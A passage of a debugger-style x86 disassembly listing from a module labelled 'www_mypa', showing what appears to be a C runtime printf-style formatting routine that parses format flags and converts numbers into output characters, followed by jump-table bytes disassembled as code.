EAX,DWORD PTR SS:[ESP+10] 004051AC 0C 10 OR AL,10 004051AE 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 004051B2 E9 63060000 JMP www_mypa.0040581A 004051B7 803F 36 CMP BYTE PTR DS:[EDI],36 004051BA 75 20 JNZ SHORT www_mypa.004051DC 004051BC 807F 01 34 CMP BYTE PTR DS:[EDI+1],34 004051C0 75 1A JNZ SHORT www_mypa.004051DC 004051C2 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004051C6 83C7 02 ADD EDI,2 004051C9 80CC 80 OR AH,80 004051CC 89BC24 64020000 MOV DWORD PTR SS:[ESP+264],EDI 004051D3 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 004051D7 E9 3E060000 JMP www_mypa.0040581A 004051DC 895424 3C MOV DWORD PTR SS:[ESP+3C],EDX 004051E0 A1 E0F24000 MOV EAX,DWORD PTR DS:[40F2E0] 004051E5 895424 2C MOV DWORD PTR SS:[ESP+2C],EDX 004051E9 8B5424 40 MOV EDX,DWORD PTR SS:[ESP+40] 004051ED 81E2 FF000000 AND EDX,0FF 004051F3 F64450 01 80 TEST BYTE PTR DS:[EAX+EDX*2+1],80 004051F8 74 23 JE SHORT www_mypa.0040521D 004051FA 8B9424 60020000 MOV EDX,DWORD PTR SS:[ESP+260] 00405201 8D4C24 1C LEA ECX,DWORD PTR SS:[ESP+1C] 00405205 0FBEC3 MOVSX EAX,BL 00405208 51 PUSH ECX 00405209 52 PUSH EDX 0040520A 50 PUSH EAX 0040520B E8 60070000 CALL www_mypa.00405970 00405210 8A1F MOV BL,BYTE PTR DS:[EDI] 00405212 83C4 0C ADD ESP,0C 00405215 47 INC EDI 00405216 89BC24 64020000 MOV DWORD PTR SS:[ESP+264],EDI 0040521D 8B9424 60020000 MOV EDX,DWORD PTR SS:[ESP+260] 00405224 8D4C24 1C LEA ECX,DWORD PTR SS:[ESP+1C] 00405228 0FBEC3 MOVSX EAX,BL 0040522B 51 PUSH ECX 0040522C 52 PUSH EDX 0040522D 50 PUSH EAX 0040522E E8 3D070000 CALL www_mypa.00405970 00405233 83C4 0C ADD ESP,0C 00405236 E9 DF050000 JMP www_mypa.0040581A 0040523B 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 0040523F 0C 20 OR AL,20 00405241 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 00405245 E9 D0050000 JMP www_mypa.0040581A 0040524A 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 0040524E 80CC 08 OR AH,8 00405251 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 00405255 E9 C0050000 JMP www_mypa.0040581A 0040525A 0FBEC3 MOVSX EAX,BL 0040525D 83C0 BD ADD EAX,-43 00405260 83F8 35 CMP EAX,35 00405263 0F87 97040000 JA www_mypa.00405700 00405269 33C9 XOR ECX,ECX 0040526B 8A88 30594000 MOV CL,BYTE PTR DS:[EAX+405930] 00405271 FF248D EC584000 JMP DWORD PTR DS:[ECX*4+4058EC] 00405278 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 0040527C A9 30080000 TEST EAX,830 00405281 75 07 JNZ SHORT www_mypa.0040528A 00405283 80CC 08 OR AH,8 00405286 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 0040528A F74424 10 100800>TEST DWORD PTR SS:[ESP+10],810 00405292 74 39 JE SHORT www_mypa.004052CD 00405294 8D9424 68020000 LEA EDX,DWORD PTR SS:[ESP+268] 0040529B 52 PUSH EDX 0040529C E8 DF070000 CALL www_mypa.00405A80 004052A1 83C4 04 ADD ESP,4 004052A4 50 PUSH EAX 004052A5 8D4424 60 LEA EAX,DWORD PTR SS:[ESP+60] 004052A9 50 PUSH EAX 004052AA E8 A12F0000 CALL www_mypa.00408250 004052AF 8BE8 MOV EBP,EAX 004052B1 83C4 08 ADD ESP,8 004052B4 85ED TEST EBP,EBP 004052B6 7D 2E JGE SHORT www_mypa.004052E6 004052B8 8D5424 5C LEA EDX,DWORD PTR SS:[ESP+5C] 004052BC C74424 34 010000>MOV DWORD PTR SS:[ESP+34],1 004052C4 895424 14 MOV DWORD PTR SS:[ESP+14],EDX 004052C8 E9 33040000 JMP www_mypa.00405700 004052CD 8D8C24 68020000 LEA ECX,DWORD PTR SS:[ESP+268] 004052D4 51 PUSH ECX 004052D5 E8 66070000 CALL www_mypa.00405A40 004052DA 83C4 04 ADD ESP,4 004052DD 884424 5C MOV BYTE PTR SS:[ESP+5C],AL 004052E1 BD 01000000 MOV EBP,1 004052E6 8D5424 5C LEA EDX,DWORD PTR SS:[ESP+5C] 004052EA 895424 14 MOV DWORD PTR SS:[ESP+14],EDX 004052EE E9 0D040000 JMP www_mypa.00405700 004052F3 8D8424 68020000 LEA EAX,DWORD PTR SS:[ESP+268] 004052FA 50 PUSH EAX 004052FB E8 40070000 CALL www_mypa.00405A40 00405300 83C4 04 ADD ESP,4 00405303 85C0 TEST EAX,EAX 00405305 74 3A JE SHORT www_mypa.00405341 00405307 8B48 04 MOV ECX,DWORD PTR DS:[EAX+4] 0040530A 85C9 TEST ECX,ECX 0040530C 74 33 JE SHORT www_mypa.00405341 0040530E 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 00405312 F6C6 08 TEST DH,8 00405315 74 16 JE SHORT www_mypa.0040532D 00405317 0FBF28 MOVSX EBP,WORD PTR DS:[EAX] 0040531A 894C24 14 MOV DWORD PTR SS:[ESP+14],ECX 0040531E C74424 2C 010000>MOV DWORD PTR SS:[ESP+2C],1 00405326 D1ED SHR EBP,1 00405328 E9 D3030000 JMP www_mypa.00405700 0040532D 0FBF28 MOVSX EBP,WORD PTR DS:[EAX] 00405330 C74424 2C 000000>MOV DWORD PTR SS:[ESP+2C],0 00405338 894C24 14 MOV DWORD PTR SS:[ESP+14],ECX 0040533C E9 BF030000 JMP www_mypa.00405700 00405341 8B3D F8EB4000 MOV EDI,DWORD PTR DS:[40EBF8] ; www_mypa.0040A07C 00405347 83C9 FF OR ECX,FFFFFFFF 0040534A 33C0 XOR EAX,EAX 0040534C 897C24 14 MOV DWORD PTR SS:[ESP+14],EDI 00405350 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 00405352 F7D1 NOT ECX 00405354 49 DEC ECX 00405355 8BE9 MOV EBP,ECX 00405357 E9 A4030000 JMP www_mypa.00405700 0040535C 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00405360 A9 30080000 TEST EAX,830 00405365 75 07 JNZ SHORT www_mypa.0040536E 00405367 80CC 08 OR AH,8 0040536A 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 0040536E 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] 00405372 BE FFFFFF7F MOV ESI,7FFFFFFF 00405377 83F8 FF CMP EAX,-1 0040537A 74 02 JE SHORT www_mypa.0040537E 0040537C 8BF0 MOV ESI,EAX 0040537E 8D8C24 68020000 LEA ECX,DWORD PTR SS:[ESP+268] 00405385 51 PUSH ECX 00405386 E8 B5060000 CALL www_mypa.00405A40 0040538B 8BC8 MOV ECX,EAX 0040538D 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00405391 83C4 04 ADD ESP,4 00405394 894C24 14 MOV DWORD PTR SS:[ESP+14],ECX 00405398 A9 10080000 TEST EAX,810 0040539D 74 3A JE SHORT www_mypa.004053D9 0040539F 85C9 TEST ECX,ECX 004053A1 75 0A JNZ SHORT www_mypa.004053AD 004053A3 8B0D FCEB4000 MOV ECX,DWORD PTR DS:[40EBFC] ; www_mypa.0040A06C 004053A9 894C24 14 MOV DWORD PTR SS:[ESP+14],ECX 004053AD 8BD6 MOV EDX,ESI 004053AF 4E DEC ESI 004053B0 85D2 TEST EDX,EDX 004053B2 C74424 2C 010000>MOV DWORD PTR SS:[ESP+2C],1 004053BA 8BC1 MOV EAX,ECX 004053BC 74 10 JE SHORT www_mypa.004053CE 004053BE 66:8338 00 CMP WORD PTR DS:[EAX],0 004053C2 74 0A JE SHORT www_mypa.004053CE 004053C4 83C0 02 ADD EAX,2 004053C7 8BD6 MOV EDX,ESI 004053C9 4E DEC ESI 004053CA 85D2 TEST EDX,EDX 004053CC ^75 F0 JNZ SHORT www_mypa.004053BE 004053CE 2BC1 SUB EAX,ECX 004053D0 D1F8 SAR EAX,1 004053D2 8BE8 MOV EBP,EAX 004053D4 E9 27030000 JMP www_mypa.00405700 004053D9 85C9 TEST ECX,ECX 004053DB 75 0A JNZ SHORT www_mypa.004053E7 004053DD 8B0D F8EB4000 MOV ECX,DWORD PTR DS:[40EBF8] ; www_mypa.0040A07C 004053E3 894C24 14 MOV DWORD PTR SS:[ESP+14],ECX 004053E7 8BD6 MOV EDX,ESI 004053E9 4E DEC ESI 004053EA 85D2 TEST EDX,EDX 004053EC 8BC1 MOV EAX,ECX 004053EE 74 0D JE SHORT www_mypa.004053FD 004053F0 8038 00 CMP BYTE PTR DS:[EAX],0 004053F3 74 08 JE SHORT www_mypa.004053FD 004053F5 40 INC EAX 004053F6 8BD6 MOV EDX,ESI 004053F8 4E DEC ESI 004053F9 85D2 TEST EDX,EDX 004053FB ^75 F3 JNZ SHORT www_mypa.004053F0 004053FD 2BC1 SUB EAX,ECX 004053FF 8BE8 MOV EBP,EAX 00405401 E9 FA020000 JMP www_mypa.00405700 00405406 8D8424 68020000 LEA EAX,DWORD PTR SS:[ESP+268] 0040540D 50 PUSH EAX 0040540E E8 2D060000 CALL www_mypa.00405A40 00405413 8A4C24 14 MOV CL,BYTE PTR SS:[ESP+14] 00405417 83C4 04 ADD ESP,4 0040541A F6C1 20 TEST CL,20 0040541D 74 15 JE SHORT www_mypa.00405434 0040541F 66:8B4C24 1C MOV CX,WORD PTR SS:[ESP+1C] 00405424 C74424 34 010000>MOV DWORD PTR SS:[ESP+34],1 0040542C 66:8908 MOV WORD PTR DS:[EAX],CX 0040542F E9 CC020000 JMP www_mypa.00405700 00405434 8B5424 1C MOV EDX,DWORD PTR SS:[ESP+1C] 00405438 C74424 34 010000>MOV DWORD PTR SS:[ESP+34],1 00405440 8910 MOV DWORD PTR DS:[EAX],EDX 00405442 E9 B9020000 JMP www_mypa.00405700 00405447 C74424 44 010000>MOV DWORD PTR SS:[ESP+44],1 0040544F 80C3 20 ADD BL,20 00405452 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 00405456 8D4424 5C LEA EAX,DWORD PTR SS:[ESP+5C] 0040545A 894424 14 MOV DWORD PTR SS:[ESP+14],EAX 0040545E 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] 00405462 83CA 40 OR EDX,40 00405465 85C0 TEST EAX,EAX 00405467 895424 10 MOV DWORD PTR SS:[ESP+10],EDX 0040546B 7D 0A JGE SHORT www_mypa.00405477 0040546D C74424 18 060000>MOV DWORD PTR SS:[ESP+18],6 00405475 EB 0F JMP SHORT www_mypa.00405486 00405477 75 0D JNZ SHORT www_mypa.00405486 00405479 80FB 67 CMP BL,67 0040547C 75 08 JNZ SHORT www_mypa.00405486 0040547E C74424 18 010000>MOV DWORD PTR SS:[ESP+18],1 00405486 8B8424 68020000 MOV EAX,DWORD PTR SS:[ESP+268] 0040548D 8B7C24 18 MOV EDI,DWORD PTR SS:[ESP+18] 00405491 83C0 08 ADD EAX,8 00405494 898424 68020000 MOV DWORD PTR SS:[ESP+268],EAX 0040549B 8B48 F8 MOV ECX,DWORD PTR DS:[EAX-8] 0040549E 894C24 4C MOV DWORD PTR SS:[ESP+4C],ECX 004054A2 8B50 FC MOV EDX,DWORD PTR DS:[EAX-4] 004054A5 8B4424 44 MOV EAX,DWORD PTR SS:[ESP+44] 004054A9 895424 50 MOV DWORD PTR SS:[ESP+50],EDX 004054AD 0FBECB MOVSX ECX,BL 004054B0 50 PUSH EAX 004054B1 57 PUSH EDI 004054B2 8D5424 64 LEA EDX,DWORD PTR SS:[ESP+64] 004054B6 51 PUSH ECX 004054B7 8D4424 58 LEA EAX,DWORD PTR SS:[ESP+58] 004054BB 52 PUSH EDX 004054BC 50 PUSH EAX 004054BD FF15 C8F24000 CALL DWORD PTR DS:[40F2C8] ; www_mypa.00408D70 004054C3 8B7424 24 MOV ESI,DWORD PTR SS:[ESP+24] 004054C7 83C4 14 ADD ESP,14 004054CA 81E6 80000000 AND ESI,80 004054D0 74 12 JE SHORT www_mypa.004054E4 004054D2 85FF TEST EDI,EDI 004054D4 75 0E JNZ SHORT www_mypa.004054E4 004054D6 8D4C24 5C LEA ECX,DWORD PTR SS:[ESP+5C] 004054DA 51 PUSH ECX 004054DB FF15 D4F24000 CALL DWORD PTR DS:[40F2D4] ; www_mypa.00408D70 004054E1 83C4 04 ADD ESP,4 004054E4 80FB 67 CMP BL,67 004054E7 75 12 JNZ SHORT www_mypa.004054FB 004054E9 85F6 TEST ESI,ESI 004054EB 75 0E JNZ SHORT www_mypa.004054FB 004054ED 8D5424 5C LEA EDX,DWORD PTR SS:[ESP+5C] 004054F1 52 PUSH EDX 004054F2 FF15 CCF24000 CALL DWORD PTR DS:[40F2CC] ; www_mypa.00408D70 004054F8 83C4 04 ADD ESP,4 004054FB 807C24 5C 2D CMP BYTE PTR SS:[ESP+5C],2D 00405500 75 13 JNZ SHORT www_mypa.00405515 00405502 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 00405506 80CC 01 OR AH,1 00405509 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 0040550D 8D4424 5D LEA EAX,DWORD PTR SS:[ESP+5D] 00405511 894424 14 MOV DWORD PTR SS:[ESP+14],EAX 00405515 8B7C24 14 MOV EDI,DWORD PTR SS:[ESP+14] 00405519 83C9 FF OR ECX,FFFFFFFF 0040551C 33C0 XOR EAX,EAX 0040551E F2:AE REPNE SCAS BYTE PTR ES:[EDI] 00405520 F7D1 NOT ECX 00405522 49 DEC ECX 00405523 8BE9 MOV EBP,ECX 00405525 E9 D6010000 JMP www_mypa.00405700 0040552A 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 0040552E C74424 30 0A0000>MOV DWORD PTR SS:[ESP+30],0A 00405536 0C 40 OR AL,40 00405538 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 0040553C EB 69 JMP SHORT www_mypa.004055A7 0040553E C74424 30 0A0000>MOV DWORD PTR SS:[ESP+30],0A 00405546 EB 5F JMP SHORT www_mypa.004055A7 00405548 C74424 18 080000>MOV DWORD PTR SS:[ESP+18],8 00405550 C74424 38 070000>MOV DWORD PTR SS:[ESP+38],7 00405558 EB 08 JMP SHORT www_mypa.00405562 0040555A C74424 38 270000>MOV DWORD PTR SS:[ESP+38],27 00405562 8A4424 10 MOV AL,BYTE PTR SS:[ESP+10] 00405566 C74424 30 100000>MOV DWORD PTR SS:[ESP+30],10 0040556E A8 80 TEST AL,80 00405570 74 35 JE SHORT www_mypa.004055A7 00405572 8A4C24 38 MOV CL,BYTE PTR SS:[ESP+38] 00405576 C64424 22 30 MOV BYTE PTR SS:[ESP+22],30 0040557B 80C1 51 ADD CL,51 0040557E C74424 24 020000>MOV DWORD PTR SS:[ESP+24],2 00405586 884C24 23 MOV BYTE PTR SS:[ESP+23],CL 0040558A EB 1B JMP SHORT www_mypa.004055A7 0040558C 8A4424 10 MOV AL,BYTE PTR SS:[ESP+10] 00405590 C74424 30 080000>MOV DWORD PTR SS:[ESP+30],8 00405598 A8 80 TEST AL,80 0040559A 74 0B JE SHORT www_mypa.004055A7 0040559C 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004055A0 80CC 02 OR AH,2 004055A3 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 004055A7 8B5C24 10 MOV EBX,DWORD PTR SS:[ESP+10] 004055AB F6C7 80 TEST BH,80 004055AE 74 12 JE SHORT www_mypa.004055C2 004055B0 8D9424 68020000 LEA EDX,DWORD PTR SS:[ESP+268] 004055B7 52 PUSH EDX 004055B8 E8 A3040000 CALL www_mypa.00405A60 004055BD 83C4 04 ADD ESP,4 004055C0 EB 62 JMP SHORT www_mypa.00405624 004055C2 F6C3 20 TEST BL,20 004055C5 74 33 JE SHORT www_mypa.004055FA 004055C7 F6C3 40 TEST BL,40 004055CA 74 16 JE SHORT www_mypa.004055E2 004055CC 8D8424 68020000 LEA EAX,DWORD PTR SS:[ESP+268] 004055D3 50 PUSH EAX 004055D4 E8 67040000 CALL www_mypa.00405A40 004055D9 0FBFC0 MOVSX EAX,AX 004055DC 83C4 04 ADD ESP,4 004055DF 99 CDQ 004055E0 EB 42 JMP SHORT www_mypa.00405624 004055E2 8D8C24 68020000 LEA ECX,DWORD PTR SS:[ESP+268] 004055E9 51 PUSH ECX 004055EA E8 51040000 CALL www_mypa.00405A40 004055EF 83C4 04 ADD ESP,4 004055F2 25 FFFF0000 AND EAX,0FFFF 004055F7 99 CDQ 004055F8 EB 2A JMP SHORT www_mypa.00405624 004055FA F6C3 40 TEST BL,40 004055FD 74 13 JE SHORT www_mypa.00405612 004055FF 8D9424 68020000 LEA EDX,DWORD PTR SS:[ESP+268] 00405606 52 PUSH EDX 00405607 E8 34040000 CALL www_mypa.00405A40 0040560C 83C4 04 ADD ESP,4 0040560F 99 CDQ 00405610 EB 12 JMP SHORT www_mypa.00405624 00405612 8D8424 68020000 LEA EAX,DWORD PTR SS:[ESP+268] 00405619 50 PUSH EAX 0040561A E8 21040000 CALL www_mypa.00405A40 0040561F 83C4 04 ADD ESP,4 00405622 33D2 XOR EDX,EDX 00405624 F6C3 40 TEST BL,40 00405627 74 1E JE SHORT www_mypa.00405647 00405629 85D2 TEST EDX,EDX 0040562B 7F 1A JG SHORT www_mypa.00405647 0040562D 7C 04 JL SHORT www_mypa.00405633 0040562F 85C0 TEST EAX,EAX 00405631 73 14 JNB SHORT www_mypa.00405647 00405633 F7D8 NEG EAX 00405635 83D2 00 ADC EDX,0 00405638 8BF0 MOV ESI,EAX 0040563A F7DA NEG EDX 0040563C 80CF 01 OR BH,1 0040563F 8BFA MOV EDI,EDX 00405641 895C24 10 MOV DWORD PTR SS:[ESP+10],EBX 00405645 EB 04 JMP SHORT www_mypa.0040564B 00405647 8BF0 MOV ESI,EAX 00405649 8BFA MOV EDI,EDX 0040564B F6C7 80 TEST BH,80 0040564E 75 03 JNZ SHORT www_mypa.00405653 00405650 83E7 00 AND EDI,0 00405653 8B4C24 18 MOV ECX,DWORD PTR SS:[ESP+18] 00405657 85C9 TEST ECX,ECX 00405659 7D 07 JGE SHORT www_mypa.00405662 0040565B B9 01000000 MOV ECX,1 00405660 EB 07 JMP SHORT www_mypa.00405669 00405662 83E3 F7 AND EBX,FFFFFFF7 00405665 895C24 10 MOV DWORD PTR SS:[ESP+10],EBX 00405669 8BD6 MOV EDX,ESI 0040566B 0BD7 OR EDX,EDI 0040566D 75 08 JNZ SHORT www_mypa.00405677 0040566F C74424 24 000000>MOV DWORD PTR SS:[ESP+24],0 00405677 8D8424 5B020000 LEA EAX,DWORD PTR SS:[ESP+25B] 0040567E 894424 14 MOV DWORD PTR SS:[ESP+14],EAX 00405682 8BD1 MOV EDX,ECX 00405684 49 DEC ECX 00405685 85D2 TEST EDX,EDX 00405687 894C24 18 MOV DWORD PTR SS:[ESP+18],ECX 0040568B 7F 06 JG SHORT www_mypa.00405693 0040568D 8BCE MOV ECX,ESI 0040568F 0BCF OR ECX,EDI 00405691 74 44 JE SHORT www_mypa.004056D7 00405693 8B4424 30 MOV EAX,DWORD PTR SS:[ESP+30] 00405697 99 CDQ 00405698 8BE8 MOV EBP,EAX 0040569A 52 PUSH EDX 0040569B 55 PUSH EBP 0040569C 57 PUSH EDI 0040569D 56 PUSH ESI 0040569E 895424 68 MOV DWORD PTR SS:[ESP+68],EDX 004056A2 E8 992C0000 CALL www_mypa.00408340 004056A7 8B5424 58 MOV EDX,DWORD PTR SS:[ESP+58] 004056AB 8BD8 MOV EBX,EAX 004056AD 52 PUSH EDX 004056AE 55 PUSH EBP 004056AF 57 PUSH EDI 004056B0 56 PUSH ESI 004056B1 83C3 30 ADD EBX,30 004056B4 E8 172C0000 CALL www_mypa.004082D0 004056B9 83FB 39 CMP EBX,39 004056BC 8BF0 MOV ESI,EAX 004056BE 8BFA MOV EDI,EDX 004056C0 7E 04 JLE SHORT www_mypa.004056C6 004056C2 035C24 38 ADD EBX,DWORD PTR SS:[ESP+38] 004056C6 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 004056CA 8B4C24 18 MOV ECX,DWORD PTR SS:[ESP+18] 004056CE 8818 MOV BYTE PTR DS:[EAX],BL 004056D0 48 DEC EAX 004056D1 894424 14 MOV DWORD PTR SS:[ESP+14],EAX 004056D5 ^EB AB JMP SHORT www_mypa.00405682 004056D7 8B4C24 10 MOV ECX,DWORD PTR SS:[ESP+10] 004056DB 8DAC24 5B020000 LEA EBP,DWORD PTR SS:[ESP+25B] 004056E2 2BE8 SUB EBP,EAX 004056E4 40 INC EAX 004056E5 F6C5 02 TEST CH,2 004056E8 894424 14 MOV DWORD PTR SS:[ESP+14],EAX 004056EC 74 12 JE SHORT www_mypa.00405700 004056EE 8038 30 CMP BYTE PTR DS:[EAX],30 004056F1 75 04 JNZ SHORT www_mypa.004056F7 004056F3 85ED TEST EBP,EBP 004056F5 75 09 JNZ SHORT www_mypa.00405700 004056F7 48 DEC EAX 004056F8 45 INC EBP 004056F9 894424 14 MOV DWORD PTR SS:[ESP+14],EAX 004056FD C600 30 MOV BYTE PTR DS:[EAX],30 00405700 8B4424 34 MOV EAX,DWORD PTR SS:[ESP+34] 00405704 85C0 TEST EAX,EAX 00405706 0F85 0E010000 JNZ www_mypa.0040581A 0040570C 8B5C24 10 MOV EBX,DWORD PTR SS:[ESP+10] 00405710 F6C3 40 TEST BL,40 00405713 74 2A JE SHORT www_mypa.0040573F 00405715 F6C7 01 TEST BH,1 00405718 74 07 JE SHORT www_mypa.00405721 0040571A C64424 22 2D MOV BYTE PTR SS:[ESP+22],2D 0040571F EB 16 JMP SHORT www_mypa.00405737 00405721 F6C3 01 TEST BL,1 00405724 74 07 JE SHORT www_mypa.0040572D 00405726 C64424 22 2B MOV BYTE PTR SS:[ESP+22],2B 0040572B EB 0A JMP SHORT www_mypa.00405737 0040572D F6C3 02 TEST BL,2 00405730 74 0D JE SHORT www_mypa.0040573F 00405732 C64424 22 20 MOV BYTE PTR SS:[ESP+22],20 00405737 C74424 24 010000>MOV DWORD PTR SS:[ESP+24],1 0040573F 8B7C24 28 MOV EDI,DWORD PTR SS:[ESP+28] 00405743 8B5424 24 MOV EDX,DWORD PTR SS:[ESP+24] 00405747 2BFA SUB EDI,EDX 00405749 2BFD SUB EDI,EBP 0040574B F6C3 0C TEST BL,0C 0040574E 75 1A JNZ SHORT www_mypa.0040576A 00405750 8BB424 60020000 MOV ESI,DWORD PTR SS:[ESP+260] 00405757 8D4424 1C LEA EAX,DWORD PTR SS:[ESP+1C] 0040575B 50 PUSH EAX 0040575C 56 PUSH ESI 0040575D 57 PUSH EDI 0040575E 6A 20 PUSH 20 00405760 E8 5B020000 CALL www_mypa.004059C0 00405765 83C4 10 ADD ESP,10 00405768 EB 07 JMP SHORT www_mypa.00405771 0040576A 8BB424 60020000 MOV ESI,DWORD PTR SS:[ESP+260] 00405771 8B5424 24 MOV EDX,DWORD PTR SS:[ESP+24] 00405775 8D4C24 1C LEA ECX,DWORD PTR SS:[ESP+1C] 00405779 51 PUSH ECX 0040577A 56 PUSH ESI 0040577B 8D4424 2A LEA EAX,DWORD PTR SS:[ESP+2A] 0040577F 52 PUSH EDX 00405780 50 PUSH EAX 00405781 E8 7A020000 CALL www_mypa.00405A00 00405786 83C4 10 ADD ESP,10 00405789 F6C3 08 TEST BL,8 0040578C 74 16 JE SHORT www_mypa.004057A4 0040578E F6C3 04 TEST BL,4 00405791 75 11 JNZ SHORT www_mypa.004057A4 00405793 8D4C24 1C LEA ECX,DWORD PTR SS:[ESP+1C] 00405797 51 PUSH ECX 00405798 56 PUSH ESI 00405799 57 PUSH EDI 0040579A 6A 30 PUSH 30 0040579C E8 1F020000 CALL www_mypa.004059C0 004057A1 83C4 10 ADD ESP,10 004057A4 8B4424 2C MOV EAX,DWORD PTR SS:[ESP+2C] 004057A8 85C0 TEST EAX,EAX 004057AA 0F84 96000000 JE www_mypa.00405846 004057B0 85ED TEST EBP,EBP 004057B2 0F8E 8E000000 JLE www_mypa.00405846 004057B8 8B7424 14 MOV ESI,DWORD PTR SS:[ESP+14] 004057BC 8D5D FF LEA EBX,DWORD PTR SS:[EBP-1] 004057BF 66:8B06 MOV AX,WORD PTR DS:[ESI] 004057C2 8D5424 48 LEA EDX,DWORD PTR SS:[ESP+48] 004057C6 50 PUSH EAX 004057C7 52 PUSH EDX 004057C8 83C6 02 ADD ESI,2 004057CB E8 802A0000 CALL www_mypa.00408250 004057D0 83C4 08 ADD ESP,8 004057D3 85C0 TEST EAX,EAX 004057D5 7E 22 JLE SHORT www_mypa.004057F9 004057D7 8B9424 60020000 MOV EDX,DWORD PTR SS:[ESP+260] 004057DE 8D4C24 1C LEA ECX,DWORD PTR SS:[ESP+1C] 004057E2 51 PUSH ECX 004057E3 52 PUSH EDX 004057E4 50 PUSH EAX 004057E5 8D4424 54 LEA EAX,DWORD PTR SS:[ESP+54] 004057E9 50 PUSH EAX 004057EA E8 11020000 CALL www_mypa.00405A00 004057EF 83C4 10 ADD ESP,10 004057F2 8BCB MOV ECX,EBX 004057F4 4B DEC EBX 004057F5 85C9 TEST ECX,ECX 004057F7 ^75 C6 JNZ SHORT www_mypa.004057BF 004057F9 8B5C24 10 MOV EBX,DWORD PTR SS:[ESP+10] 004057FD F6C3 04 TEST BL,4 00405800 74 18 JE SHORT www_mypa.0040581A 00405802 8B9424 60020000 MOV EDX,DWORD PTR SS:[ESP+260] 00405809 8D4C24 1C LEA ECX,DWORD PTR SS:[ESP+1C] 0040580D 51 PUSH ECX 0040580E 52 PUSH EDX 0040580F 57 PUSH EDI 00405810 6A 20 PUSH 20 00405812 E8 A9010000 CALL www_mypa.004059C0 00405817 83C4 10 ADD ESP,10 0040581A 8BBC24 64020000 MOV EDI,DWORD PTR SS:[ESP+264] 00405821 8A1F MOV BL,BYTE PTR DS:[EDI] 00405823 47 INC EDI 00405824 84DB TEST BL,BL 00405826 885C24 40 MOV BYTE PTR SS:[ESP+40],BL 0040582A 89BC24 64020000 MOV DWORD PTR SS:[ESP+264],EDI 00405831 ^0F85 DEF7FFFF JNZ www_mypa.00405015 00405837 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 0040583B 5F POP EDI 0040583C 5E POP ESI 0040583D 5D POP EBP 0040583E 5B POP EBX 0040583F 81C4 4C020000 ADD ESP,24C 00405845 C3 RETN 00405846 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 0040584A 8D5424 1C LEA EDX,DWORD PTR SS:[ESP+1C] 0040584E 52 PUSH EDX 0040584F 56 PUSH ESI 00405850 55 PUSH EBP 00405851 50 PUSH EAX 00405852 E8 A9010000 CALL www_mypa.00405A00 00405857 83C4 10 ADD ESP,10 0040585A ^EB A1 JMP SHORT www_mypa.004057FD 0040585C E0 51 LOOPDNE SHORT www_mypa.004058AF 0040585E 40 INC EAX 0040585F 006450 40 ADD BYTE PTR DS:[EAX+EDX*2+40],AH 00405863 0089 504000F2 ADD BYTE PTR DS:[ECX+F2004050],CL 00405869 50 PUSH EAX 0040586A 40 INC EAX 0040586B 003C51 ADD BYTE PTR DS:[ECX+EDX*2],BH 0040586E 40 INC EAX 0040586F 0045 51 ADD BYTE PTR SS:[EBP+51],AL 00405872 40 INC EAX 00405873 008A 5140005A ADD BYTE PTR DS:[EDX+5A004051],CL 00405879 52 PUSH EDX 0040587A 40 INC EAX 0040587B 00C5 ADD CH,AL 0040587D 50 PUSH EAX 0040587E 40 INC EAX 0040587F 00D4 ADD AH,DL 00405881 50 PUSH EAX 00405882 40 INC EAX 00405883 00B6 504000A7 ADD BYTE PTR DS:[ESI+A7004050],DH 00405889 50 PUSH EAX 0040588A 40 INC EAX 0040588B 00E3 ADD BL,AH 0040588D 50 PUSH EAX 0040588E 40 INC EAX 0040588F 001A ADD BYTE PTR DS:[EDX],BL 00405891 58 POP EAX 00405892 40 INC EAX 00405893 0000 ADD BYTE PTR DS:[EAX],AL 00405895 05 05010505 ADD EAX,5050105 0040589A 05 05050505 ADD EAX,5050505 0040589F 0205 03050504 ADD AL,BYTE PTR DS:[4050503] 004058A5 90 NOP 004058A6 8BFF MOV EDI,EDI 004058A8 B7 51 MOV BH,51 004058AA 40 INC EAX 004058AB 003B ADD BYTE PTR DS:[EBX],BH 004058AD 52 PUSH EDX 004058AE 40 INC EAX 004058AF 00A8 5140004A ADD BYTE PTR DS:[EAX+4A004051],CH 004058B5 52 PUSH EDX 004058B6 40 INC EAX 004058B7 001A ADD BYTE PTR DS:[EDX],BL 004058B9 58 POP EAX 004058BA 40 INC EAX 004058BB 0000 ADD BYTE PTR DS:[EAX],AL 004058BD 04 04 ADD AL,4 004058BF 04 04 ADD AL,4 004058C1 04 04 ADD AL,4 004058C3 04 04 ADD AL,4 004058C5 04 04 ADD AL,4 004058C7 04 04 ADD AL,4 004058C9 04 04 ADD AL,4 004058CB 04 04 ADD AL,4 004058CD 04 04 ADD AL,4 004058CF 04 04 ADD AL,4 004058D1 04 04 ADD AL,4 004058D3 04 04 ADD AL,4 004058D5 04 04 ADD AL,4 004058D7 04 04 ADD AL,4 004058D9 04 04 ADD AL,4 004058DB 010404 ADD DWORD PTR SS:[ESP+EAX],EAX 004058DE 04 02 ADD AL,2 004058E0 04 04 ADD AL,4 004058E2 04 04 ADD AL,4 004058E4 04 04 ADD AL,4 004058E6 04 04 ADD AL,4 004058E8 04 04 ADD AL,4 004058EA 0390 78524000 ADD 